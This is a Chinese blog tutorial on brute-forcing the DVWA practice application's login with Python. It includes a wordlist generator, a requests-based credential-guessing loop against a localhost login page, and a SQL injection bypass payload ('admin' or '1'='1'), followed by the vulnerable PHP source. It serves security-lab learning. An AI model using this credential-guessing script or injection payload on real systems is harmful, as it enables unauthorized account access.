python专场——暴力破解(DVWA)
暴力破解
- 用python编写针对登陆的暴力破解程序
- 工作原理
- 暴力破解的三种思路
- 生成字典文件
- DVWA登陆的暴力破解程序
- Brute Force(暴力破解)
用python编写针对登陆的暴力破解程序
工作原理
首先这是一种针对用户名密码登陆的情况,用户输入用户名和密码,只要与服务器保存的信息相一致就可以获得对应的权限。
暴力破解的三种思路
通常用户名不会作为隐私,当获得用户名之后就可以使用暴力破解的方法(暴力破解即逐个尝试)
- 纯字典攻击:需要合适的字典文件;利用攻击工具将用户名和字典文件中的密码组合起来,依次尝试
- 混合攻击:需要字典;依靠一定的算法对字典文件中的单词进行处理之后再使用。一般的算法就是在一些单词前后添加常见的数字
- 完全暴力攻击:不需要字典;由攻击工具直接穷举出来,缺点时间长
生成字典文件
常见的字典文件的格式:
txt
ordic
生成字典文件的两个条件:
①指定字典文件中包含的词汇长度;
②制定的字典文件中包含的词汇所使用的字符。python内置模块——itertools
- 无穷循环器函数
- count():产生递增的序列;
- cycle():重复序列中的元素;
- repeat():重复元素,构成无穷循环器;
- 无穷循环器的组合操作的函数
- product():获得多个无穷循环器的笛卡尔积;
- permutations(‘abcd’,2):从abcd中挑选两个元素,无顺序;
- combinations(‘abcd’,2):从abcd中挑选两个元素,有顺序;
- 无穷循环器函数
字典文件生成过程
导入itertools模块:
import itertools
指定生成字典文件的字符(这里以数字和字母为例)
word = "1234567890abcdefghijklmnopqrstuvwxyz"
使用itertools模块中提供的无穷循环器来生成字典(这里以permutations为例,生成六位密码)
temp = itertools.permutations(wors,6)
打开一个用于保存结果的记事本文件。
passwords = open("pas.txt","a")
a表示打开一个文件用于追加。如果该文件已存在,文件指针将会放在文件的结尾;也就是说,新的内容将会被写入到已有内容之后。如果该文件不存在,创建新文件进行写入。更多参数点这里
使用一个循环将生成的密码写入记事本文件中
for i in temp:passwords.write("".join(i))passwords.write("".join("\n"))
join() 方法用于将序列中的元素以指定的字符连接生成一个新的字符串。
完整程序
import itertools words = "1234567890abcdefghijklmnopqrstuvwxyz" temp = itertools.permutations(words,6) passwords = open("psw.txt","a")for i in temp:passwords.write("".join(i))passwords.write("".join("\n"))
DVWA登陆的暴力破解程序
# 暴力破解程序
import requestswith open("admin.txt", 'r', encoding='utf-8') as names:for username in names:with open("password.txt", 'r', encoding='utf-8') as passwords:for password in passwords:url = "http://127.0.0.1/DVWA-master/login.php"data = {"username": username.strip(),"password": password.strip(),"Login": "Login"}print('\n')print('用户名:', username.strip())print('密码:', password.strip())r = requests.post(url, data=data)if 'Login failed' in r.text:print('破解失败')else:print('破解成功')
strip() 方法用于移除字符串头尾指定的字符(默认为空格或换行符)或字符序列。
Brute Force(暴力破解)
先随便输入admin密码
输入username=admin,password=1,登陆失败
发现有三个get传参的变量,尝试一下一些简单的万能密码,最后猜测出payload为/?username=admin' or '1'='1 &password=1&Login=Login#
登陆成功
查看源码
<?phpif( isset( $_GET[ 'Login' ] ) ) {// Get username$user = $_GET[ 'username' ];// Get password$pass = $_GET[ 'password' ];$pass = md5( $pass );// Check the database$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );if( $result && mysqli_num_rows( $result ) == 1 ) {// Get users details$row = mysqli_fetch_assoc( $result );$avatar = $row["avatar"];// Login successfulecho "<p>Welcome to the password protected area {$user}</p>";echo "<img src=\"{$avatar}\" />";}else {// Login failedecho "<pre><br />Username and/or password incorrect.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>
题目信息提示Brute Force暴力破解,应该是要用到burpsuite的一些工具
由于这里是python专场,我们这里用python编写针对登陆的暴力破解程序
python专场——暴力破解(DVWA)相关推荐
- Python攻防-暴力破解ZIP加密文件的密码
文章目录 前言 Python语法 自定义迭代器 Python多线程 Python脚本 单线程数字爆破 单线程字符爆破 多线程字典爆破 总结 前言 本文继续记录学习下 Python 的有趣应用:借助 P ...
- Python:暴力破解密码 - 压缩包、web实战
简介:常规情况下,由于web自身的服务资源,带宽,吞吐率的原因,存在访问上线的情况,这和极端情况下本地直接即时访问,即时反馈的机制是完全不可等同的.另外暴力破解密码这种行为本身就是一个徘徊为灰色地带的 ...
- python脚本-暴力破解无线网弱密码
关注我的博客,访问更多内容! 背景:学校最近重新架设无线网一体化,而初始密码为弱密码(6位数字),下面我们要做的就是通过暴力破解的方式破解弱密码!(所以建议大家以后无论是在注册还是什么情况,都千万不要 ...
- Python:暴力破解zip!
照顾没有接触过Python编程的同学,行文可能会有些啰嗦. 废话少说,我们进入正题. 2.1准备基本材料 在/home/ziptest/目录下,我创建了两个文件,一个test.zip,是一个设置了密码 ...
- Python实战-暴力破解zip文件解压密码
简介 使用的核心模块是python标准库中的zipfile模块.这个模块可以实现zip文件的各种功能,具体可以查看官方参考文档.这里的暴力破解的意思是对密码可能序列中的值一个一个进行密码尝试,这对人来 ...
- 网络安全入门之 Burp Suite 暴力破解 DVWA Brute Force Low
文章目录 1. 背景 2. 准备工作 2.1. 靶场环境 2.2. 安装破解工具 3. 破解过程 3.1. 代理请求 3.2. 拦截请求 3.3. 填装弹药 3.4. 设置岗哨 3.5. 开始攻击 4 ...
- 渗透测试实验_使用BurpSuite暴力破解DVWA密码 BurpSuite四种暴力破解类型 安全等级Low Medium High
文章目录 暴力破解 1. Brute Force(暴力破解) 原理 2. BurpSuite 四种暴力破解类型 3. Low等级 Sniper(狙击手)类型 Battering ram(撞击物)类型 ...
- 基于python实现暴力破解凯撒密码
一.凯撒密码 关于凯撒密码请参考之前的文章,链接如下: https://blog.csdn.net/weixin_52351575/article/details/120742012 二.暴力破解凯撒 ...
- 暴力破解(一)——python脚本暴力破解 加密的zip压缩文件
简介: zip格式是常见的压缩文件格式,它支持压缩时设置解压密码:有两种加密方式:1传统加密方式和普通的加密方式.传统加密方式是一种比较简单的加密方式,现在一般很少有人使用,而且压缩时 系统默认选择的 ...
最新文章
- Keep 再融资以后
- 操作系统 作业调度实验报告
- Docker持续部署图文详解
- android 中文件操作模式
- java的list类
- while嵌套注意事项(九九星号代码
- UITableView分页
- Spring5.0(2)--- Framework 5 FAQ
- altas(ajax)控件(二):悬浮面板控件AlwaysVisibleControl
- 30 位互联网大佬,当年上了什么大学?
- Requesting JavaScript AST from selection
- 独家下载 | 《Redis+Nginx+设计模式+Spring全家桶+Dubbo》,附 PDF 架构书籍 下载
- Excel单元格格式选择货币格式US$时变成US$¥
- php如何做支付,php实现银联支付
- 计算机模拟仿真技术是什么,仿真与模拟
- 计算机专业wor知识,计算机专业毕业实习日记精选
- 互联网域名系统国家工程中心(ZDNS)正式运营“.ren”顶级域名
- (附源码)spring boot学科竞赛活动报名系统 毕业设计 012239
- 超卓航科上市:募资9亿市值超60亿 成襄阳首家科创板企业
- iptables --algo 字符串匹配算法 bm kmp